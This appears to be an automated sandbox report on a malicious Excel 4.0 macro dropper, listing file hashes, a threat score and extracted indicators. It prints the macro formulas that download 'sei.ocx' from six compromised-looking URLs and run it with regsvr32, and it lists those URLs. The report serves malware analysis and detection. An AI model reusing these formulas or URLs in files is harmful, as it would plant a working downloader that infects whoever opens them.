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General

  • Target

    1e0ef888b01222647e7ce79e4ff0ea8ae45ff720e9ca12eb2a83839f85741ce7

  • Size

    46KB

  • Sample

    241111-zv9cjsvqgt

  • MD5

    4bd3d15733defeea51f36fd1244a56e7

  • SHA1

    9d89b7e618b23813eb4d91470a87334497b36ae0

  • SHA256

    1e0ef888b01222647e7ce79e4ff0ea8ae45ff720e9ca12eb2a83839f85741ce7

  • SHA512

    261ebe17fb7054484feb45b29737f59c1f1d0dcda4f5069b0b00695132207b0b31b7ebbc0744f22ef082ada4a244f2ee0b60291932fa407a97a988cdf8f9cb65

  • SSDEEP

    768:r1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:r1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

https://chera.co.kr/wp-includes/i2nnUkDXZ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

xlm40.dropper

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

xlm40.dropper

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

xlm40.dropper

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

xlm40.dropper

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

Targets

    • Target

      1e0ef888b01222647e7ce79e4ff0ea8ae45ff720e9ca12eb2a83839f85741ce7

    • Size

      46KB

    • MD5

      4bd3d15733defeea51f36fd1244a56e7

    • SHA1

      9d89b7e618b23813eb4d91470a87334497b36ae0

    • SHA256

      1e0ef888b01222647e7ce79e4ff0ea8ae45ff720e9ca12eb2a83839f85741ce7

    • SHA512

      261ebe17fb7054484feb45b29737f59c1f1d0dcda4f5069b0b00695132207b0b31b7ebbc0744f22ef082ada4a244f2ee0b60291932fa407a97a988cdf8f9cb65

    • SSDEEP

      768:r1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:r1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks